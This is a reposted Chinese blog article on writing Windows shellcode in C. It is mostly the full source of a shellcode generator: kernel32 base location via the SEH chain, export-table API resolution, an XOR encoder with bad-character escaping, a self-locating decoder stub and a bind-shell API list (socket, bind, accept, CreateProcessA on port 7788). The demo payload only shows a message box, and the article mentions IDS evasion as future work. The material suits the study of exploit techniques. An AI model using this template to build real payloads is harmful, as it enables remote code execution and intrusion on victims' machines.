您的位置:首页 > 运维架构 > Shell

关于Windows下ShellCode编写的一点思考

2008-08-20 09:20 721 查看

关于Windows下ShellCode编写的一点思考

创建时间:2003-11-30

文章属性:转载

文章提交:l0pht (anonymous_at_21cn.com)

关于Windows下ShellCode编写的一点思考

By Hume/冷雨

关于ShellCode编写的文章可谓多如牛毛。经典的有yuange、watercloud等前辈的文

章,但大都过于专业和简练,对我这样的初学者学习起来还是有不小的难度。因此把自己

的一点想法记录下来,以慰同菜。

我不是工具论者,但合适的工具无疑会提高工作效率,而如何选取合适的工具和编写

ShellCode的目的及ShellCode的运行环境是直接相关的。ShellCode一般是通过溢出等

方式获取执行权的,并且要在执行时调用目标系统的API进行一些工作,因此就要求

ShellCode采用一种较为通用的方法获取目标系统的API函数地址,其次由于其运行地址

难以确定,因此对数据的寻址要采用动态的方法。另外,ShellCode一般是作为数据发送

给受攻击程序的,而受攻击程序一般会对数据进行过滤,这对ShellCode提出了编码的要

求,现在ShellCode用的编码方法比较简单,基本是XOR大法或其变形。

编写ShellCode有目前流行的有两种方法:用C语言编写+提取;用汇编语言编写和提取。

就个人感觉而言,用汇编语言编写和提取是最方便的,因为ShellCode代码一般比较短,要

完成的任务也相对单一,一般不涉及复杂的运算。因此可以用汇编语言编写。而且用汇编

编写便于数据的控制、代码定位及生成的控制,在某些汇编编译器中,提供了直接生成二进制

代码功能并提供了直接包含二进制文件的伪指令,这样就可以直接编写一个makefile文件将

ShellCode代码和攻击程序分开,分别编写和调试,而无需print、拷贝、粘贴等操作,只需

在攻击程序中加入一段编码代码就可以了。这样也便于交流。

但现在网络上流行的都是C编写的ShellCode,不过最终要生成的是ShellCode代码,这就涉

及到提取C生成的汇编代码的问题。但在C中由于编译器会在函数的开始和结束生成一些附加

代码,而这些代码未必是我们需要的,还有一个问题就是要提取代码的结束在C中没有直接的

操作符获取。这些实际上也都不是很难,只要在函数的开始和结束加入特征字符串用C库函数

memcmp搜索即可定位。对ShellCode的编码可写一段程序进行,比如XOR法的。最后写一段

函数将编码后的ShellCode打印出来,复制、粘贴就可以用在攻击程序里面了。

用C编写的中心思想就是我们用C语言写代码,让编译器为我们生成二进制代码,然后在运行时

编码、打印,这样工作就完成了。

在网上找到了一个用C编写ShellCode的例子,于是亲自调试了一遍,发现了一些问题后修改

并加入一些自己的代码,测试通过。

其中的一些问题有:

1.KERNEL基地址的定位和API函数地址的获取

原来的代码中采用的是暴力搜索地址空间的方法。这不算最佳方法,因为一是代码比较多,

二是要处理搜索无效页面引发的异常。现在还有两种方法可用:

一种是从PEB相关数据结构中获取,请参考绿盟月刊44期SCZ的《通过TEB/PEB枚举当前进程

空间中用户模块列表》一文。代码如下:

mov eax, fs:0x30

mov eax, [eax + 0x0c]

mov esi, [eax + 0x1c]

lodsd

mov ebp, [eax + 0x08] //ebp 就是kernel32.dll的地址了

这种方法比较通用,适用于2K/XP/2003。

另外一种方法就是搜索进程的SEH链表获取Kernel32.UnhandledExceptionFilter的地址,

再由该地址对齐追溯获得Kernel的基地址,这种方法也是比较通用的,适用于9X/2K/XP/2003。

在下面的代码中我就采用了这种方法。

2.几段代码的作用

在ShellCode提取代码中你或许会经常见到

temp = *shellcodefnadd;

if(temp == 0xe9)

{

++shellcodefnadd;

k=*(int *)shellcodefnadd;

shellcodefnadd+=k;

shellcodefnadd+=4;

}

这样的代码,其用途何在?答案在于在用Visual Studio生成调试版本的时候,用函数指针

操作获得的地址并不是指向真正的函数入口点,而是指向跳转指令JMP:

jmp function

上面那段代码就是处理这种情况的,如果不是为了调试方便,完全可以删去。

还有在代码中会看到:

jmp decode_end

decode_start:

pop edx

.......

decode_end:

call decode_start

Shell_start:

之类的代码其作用是定位Shell_start处的代码,便于装配,由于在C中没有方便的手段定位

代码的长度和位置,因此采用此变通的做法。在这种方法不符合编码的要求时,可以采用动态计算

和写入的方法。不过复杂了一点罢了。

3.关于局部变量的地址顺序

在原程序中采用了如下局部变量结构:

FARPROC WriteFileadd;

FARPROC ReadFileadd;

FARPROC PeekNamedPipeadd;

FARPROC CloseHandleadd;

FARPROC CreateProcessadd;

FARPROC CreatePipeadd;

FARPROC procloadlib;

FARPROC apifnadd[1];

以为这样编译器生成的变量地址顺序就是这样的,在有些机器上也许如此,不过在我的

机器上则不然,比如下面的测试程序:

#include <windows.h>

#include <stdio.h>

#include <tchar.h>

#include <winioctl.h>

void shell();

void __cdecl main(int argc,char *argv[])

{

FARPROC arg1;

FARPROC arg2;

FARPROC arg3;

FARPROC arg4;

FARPROC arg5;

int par1;

int par2;

int par3;

int par4;

char ch;

printf("Size of FARPROC %d/n",sizeof(FARPROC));

printf("/n%X/n%X/n%X/n%X/n%X/n/n /t%X/n%X/n%X/n%X/n /t%X/n",

&arg1,

&arg2,

&arg3,

&arg4,

&arg5,

&par1,

&par2,

&par3,

&par4,

&ch

);

}

在我机器上产生的输出是:

12FF7C

12FF78

12FF74

12FF70

12FF68

12FF6C

12FF64

12FF60

12FF5C

12FF58

这证实了局部变量的实际地址并不是完全按我们自己定义排列的。因此原来ShellCode中采用的

直接使用函数名的方法就可靠了。因此我采用了其它的方法,C提供的Enum关键字使得这项

工作变得容易,详见下面的代码。

4.more

关于变形ShellCode躲避IDS检测,以及编码方法等需进一步研究。

5.代码

可见,用C编写ShellCode需要对代码生成及C编译器行为有更多了解。有些地方处理起来也

不是很省力。不过一旦模板写成,以后写起来或写复杂ShellCode就省力多了。

增加API时只要在相应的.dll后增加函数名称项(如果str中还没有相应的dll,增加之)并

同步更新Enum的索引即可。调用API时直接使用:

API[_APINAME](param,....param);

即可。

如果没注释掉有#define DEBUG 1的话,下面代码编译后运行即可对ShellCode进行调试,

下面代码将弹出一个对话框,点击确定即可结束程序。that's ALL。

-------------------------------------------

/*

使用C语言编写通用shellcode的程序

出处:internet

修改:Hume/冷雨飘心

测试:Win2K SP4 Local

*/

#include <windows.h>

#include <stdio.h>

#include <winioctl.h>

#define DEBUG 1

//

//函数原型

//

void DecryptSc();

void ShellCodes();

void PrintSc(char *lpBuff, int buffsize);

//

//用到的部分定义

//

#define BEGINSTRLEN 0x08 //开始字符串长度

#define ENDSTRLEN 0x08 //结束标记字符的长度

#define nop_CODE 0x90 //填充字符

#define nop_LEN 0x0 //ShellCode起始的填充长度

#define BUFFSIZE 0x20000 //输出缓冲区大小

#define sc_PORT 7788 //绑定端口号 0x1e6c

#define sc_BUFFSIZE 0x2000 //ShellCode缓冲区大小

#define Enc_key 0x7A //编码密钥

#define MAX_Enc_Len 0x400 //加密代码的最大长度 1024足够?

#define MAX_Sc_Len 0x2000 //hellCode的最大长度 8192足够?

#define MAX_api_strlen 0x400 //APIstr字符串的长度

#define API_endstr "strend"//API结尾标记字符串

#define API_endstrlen 0x06 //标记字符串长度

#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90/

__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90

#define PROC_END PROC_BEGIN

//---------------------------------------------------

enum{ //Kernel32

_CreatePipe,

_CreateProcessA,

_CloseHandle,

_PeekNamedPipe,

_ReadFile,

_WriteFile,

_ExitProcess,

//WS2_32

_socket,

_bind,

_listen,

_accept,

_send,

_recv,

_ioctlsocket,

_closesocket,

//本机测试User32

_MessageBeep,

_MessageBoxA,

API_num

};

//

//代码这里开始

//

int __cdecl main(int argc, char **argv)

{

//shellcode中要用到的字符串

static char ApiStr[]="/x1e/x6c" //端口地址

//Kernel32的API函数名称

"CreatePipe""/x0"

"CreateProcessA""/x0"

"CloseHandle""/x0"

"PeekNamedPipe""/x0"

"ReadFile""/x0"

"WriteFile""/x0"

"ExitProcess""/x0"

//其它API中用到的API

"wsock32.dll""/x0"

"socket""/x0"

"bind""/x0"

"listen""/x0"

"accept""/x0"

"send""/x0"

"recv""/x0"

"ioctlsocket""/x0"

"closesocket""/x0"

//本机测试

"user32.dll""/x0"

"MessageBeep""/x0"

"MessageBoxA""/x0"

"/x0/x0/x0/x0/x0"

"strend";

char *fnbgn_str="/x90/x90/x90/x90/x90/x90/x90/x90/x90"; //标记开始的字符串

char *fnend_str="/x90/x90/x90/x90/x90/x90/x90/x90/x90"; //标记结束的字符串

char buff[BUFFSIZE]; //缓冲区

char sc_buff[sc_BUFFSIZE]; //ShellCodes缓冲

char *pDcrypt_addr,

*pSc_addr;

int buff_len; //缓冲长度

int EncCode_len; //加密编码代码长度

int Sc_len; //原始ShellCode的长度

int i,k;

unsigned char ch;

//

//获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串

//获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这

//部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理

//

pDcrypt_addr=(char *)DecryptSc;

//定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,

//从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试

ch=*pDcrypt_addr;

if (ch==0xe9)

{

pDcrypt_addr++;

i=*(int *)pDcrypt_addr;

pDcrypt_addr+=(i+4); //此时指向函数的实际地址

}

//找到解码代码的开始部分

for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;

if (k<MAX_Enc_Len) pDcrypt_addr+=(k+8); //如找到定位实际代码的开始

else

{

//显示错误信息

k=0;

printf("/nNo Begin str defined in Decrypt function!Please Check before go on.../n");

return 0;

}

for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnend_str,ENDSTRLEN)==0) break;

if (k<MAX_Enc_Len) EncCode_len=k;

else

{

k=0;

printf("/nNo End str defined in Decrypt function!Please Check..../n");

return 0;

}

memset(buff,nop_CODE,BUFFSIZE); //缓冲区填充

memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len); //把DecryptSc代码复制进buff

//

//处理ShellCode代码,如果需要定位到代码的开始

//

pSc_addr=(char *)ShellCodes; //shellcode的地址

//调试状态下的函数地址处理,便于调试

ch=*pSc_addr;

if (ch==0xe9)

{

pSc_addr++;

i=*(int *)pSc_addr;

pSc_addr+=(i+4); //此时指向函数的实际地址

}

//如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的

/*

for (k=0;k<MAX_Sc_Len ;++k ) if(memcmp(pSc_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;

if (k<MAX_Enc_Len) pSc_addr+=(k+8); //如找到定位实际代码的开始

*/

//找到shellcode的结尾及长度

for(k=0;k<MAX_Sc_Len;++k) if(memcmp(pSc_addr+k,fnend_str,ENDSTRLEN)==0) break;

if (k<MAX_Sc_Len) Sc_len=k;

else

{

k=0;

printf("/nNo End str defined in ShellCodes function!Please Check..../n");

return 0;

}

//把shellcode代码复制进sc_buff

memcpy(sc_buff,pSc_addr,Sc_len);

//把字符串拷贝在shellcode的结尾

for(i=0;i<MAX_api_strlen;++i) if(memcmp(ApiStr+i,"strend",API_endstrlen)==0) break;

if(i>=MAX_api_strlen)

{

printf("/nNo End str defined in API strings!Please Check..../n");

return 0;

}

memcpy(sc_buff+k,ApiStr,i);

Sc_len+=i; //增加shellcode的长度

//

//对shellcode进行编码算法简单,可根据需要改变

//

k=EncCode_len+nop_LEN; //定位缓冲区应存放ShellCode地址的开始

for(i=0;i<Sc_len;++i){

ch=sc_buff[i]^Enc_key;

//对一些可能造成shellcode失效的字符进行替换

if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='//'||ch=='0'||ch=='?'||ch=='%'||ch=='+')

{

buff[k]='0';

++k;

ch+=0x31;

}

//把编码过的shellcode放在DecryptSc代码后面

buff[k]=ch;

++k;

}

//shellcode的总长度

buff_len=k;

//打印出shellcode

PrintSc(buff,buff_len);

//buff[buff_len]=0;

//printf("%s",buff);

#ifdef DEBUG

_asm{

lea eax,buff

jmp eax

ret

}

#endif

return 0;

}

//解码shellcode的代码

void DecryptSc()

{

__asm{

/////////////////////////

//定义开始标志

/////////////////////////

PROC_BEGIN //C macro to begin proc

jmp next

getEncCodeAddr:

pop edi

push edi

pop esi

xor ecx,ecx

Decrypt_lop:

lodsb

cmp al,cl

jz shell

cmp al,0x30 //判断是否为特殊字符

jz special_char_clean

store:

xor al,Enc_key

stosb

jmp Decrypt_lop

special_char_clean:

lodsb

sub al,0x31

jmp store

next:

call getEncCodeAddr

//其余真正加密的shellcode代码会连接在此处

shell:

/////////////////////////

//定义结束标志

/////////////////////////

PROC_END //C macro to end proc

}

}

//

//shellcode代码

//

void ShellCodes()

{

//API低址数组

FARPROC API[API_num];

//自己获取的API地址

FARPROC GetProcAddr;

FARPROC LoadLib;

HANDLE hKrnl32;

HANDLE libhandle;

char *ApiStr_addr,*p;

int k;

u_short shellcodeport;

//测试用变量

char *testAddr;

/*

STARTUPINFO siinfo;

SOCKET listenFD,clientFD;

struct sockaddr_in server;

int iAddrSize = sizeof(server);

int lBytesRead;

PROCESS_INFORMATION ProcessInformation;

HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

SECURITY_ATTRIBUTES sa;

*/

_asm {

jmp locate_addr0

getApiStr_addr:

pop ApiStr_addr

//开始获取API的地址以及GetProcAddress和LoadLibraryA的地址

//以后就可以方便地获取任何API的地址了

//保护寄存器

pushad

xor esi,esi

lods dword ptr fs:[esi]

Search_Krnl32_lop:

inc eax

je Krnl32_Base_Ok

dec eax

xchg esi,eax

LODSD

jmp Search_Krnl32_lop

Krnl32_Base_Ok:

LODSD

;compare if PE_hdr

xchg esi,eax

find_pe_header:

dec esi

xor si,si ;kernel32 is 64kb align

mov eax,[esi]

add ax,-'ZM' ;

jne find_pe_header

mov edi,[esi+3ch] ;.e_lfanew

mov eax,[esi+edi]

add eax,-'EP' ;anti heuristic change this if you are using MASM etc.

jne find_pe_header

push esi

;esi=VA Kernel32.BASE

;edi=RVA K32.pehdr

mov ebx,esi

mov edi,[ebx+edi+78h] ;peh.DataDirectory

push edi

push esi

mov eax,[ebx+edi+20h] ;peexc.AddressOfNames

mov edx,[ebx+edi+24h] ;peexc.AddressOfNameOrdinals

call __getProcAddr

_emit 0x47

_emit 0x65

_emit 0x74

_emit 0x50

_emit 0x72

_emit 0x6F

_emit 0x63

_emit 0x41

_emit 0x64

_emit 0x64

_emit 0x72

_emit 0x65

_emit 0x73

_emit 0x73

_emit 0x0

//db "GetProcAddress",0

__getProcAddr:

pop edi

mov ecx,15

sub eax,4

next_:

add eax,4

add edi,ecx

sub edi,15

mov esi,[ebx+eax]

add esi,ebx

mov ecx,15

repz cmpsb

jnz next_

pop esi

pop edi

sub eax,[ebx+edi+20h] ;peexc.AddressOfNames

shr eax,1

add edx,ebx

movzx eax,word ptr [edx+eax]

add esi,[ebx+edi+1ch] ;peexc.AddressOfFunctions

add ebx,[esi+eax*4] ;ebx=Kernel32.GetProcAddress.addr

;use GetProcAddress and hModule to get other func

pop esi ;esi=kernel32 Base

mov [hKrnl32],esi //保存

mov [GetProcAddr],ebx //保存

call _getLoadLib

_emit 0x4C

_emit 0x6F

_emit 0x61

_emit 0x64

_emit 0x4C

_emit 0x69

_emit 0x62

_emit 0x72

_emit 0x61

_emit 0x72

_emit 0x79

_emit 0x41

_emit 0x0

//db "LoadLibraryA",0

_getLoadLib:

push esi

call ebx

mov [LoadLib],eax

//恢复寄存器,避免更多问题

popad

}

//取出定义的端口地址

shellcodeport=*(u_short *)ApiStr_addr;

ApiStr_addr+=2;

////////////////////////////////测试用

testAddr=ApiStr_addr;

////////////////////////////////////

//利用GetProcAddress来获得shellcode中所用到的API地址

libhandle=hKrnl32;

p=ApiStr_addr;

k=0;

///*

while ( *((unsigned int *)p) != 0)

{

ApiStr_addr=p;

while(*p) p++; //前进到下一个字符串

if (*( (unsigned int *)(p-4))=='lld.')

{

libhandle=(HANDLE)LoadLib(ApiStr_addr); //若为DLL则加载DLL

}

else

{

API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr);

k++;

}

ApiStr_addr=++p; //更新指针前进一个字符位置

}

//*/

///////////////////////////////////////////////////////////////////////////

// 下面就可以使用C语言来编写真正实现功能的shellcode了 //

///////////////////////////////////////////////////////////////////////////

//

//简单测试几个API看是否复合要求

//

API[_MessageBeep](0x10);

API[_MessageBoxA](0,testAddr,0,0x40);

API[_ExitProcess](0);

///////////////////////////////////////////////////////////////////////////

// shellcode功能部分结束 //

///////////////////////////////////////////////////////////////////////////

//死循环

die:

goto die;

__asm

{

locate_addr0:

call getApiStr_addr //5 bytes

//真正的字符串数据要连接在此处

/////////////////////////

//定义结束标志

/////////////////////////

PROC_END //C macro to end proc

}

}

//

//显示打印生成的shellcode的C string格式代码

//

void PrintSc(char *lpBuff, int buffsize)

{

int i,j;

char *p;

char msg[4];

for(i=0;i<buffsize;i++)

{

if((i%16)==0)

if(i!=0)

printf("/"/n/"");

else

printf("/"");

sprintf(msg,"//x%.2X",lpBuff[i]&0xff);

for( p = msg, j=0; j < 4; p++, j++ )

{

if(isupper(*p))

printf("%c", _tolower(*p));

else

printf("%c", p[0]);

}

}

printf("/";/n/*Shell total are %d bytes *//n",buffsize);

}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: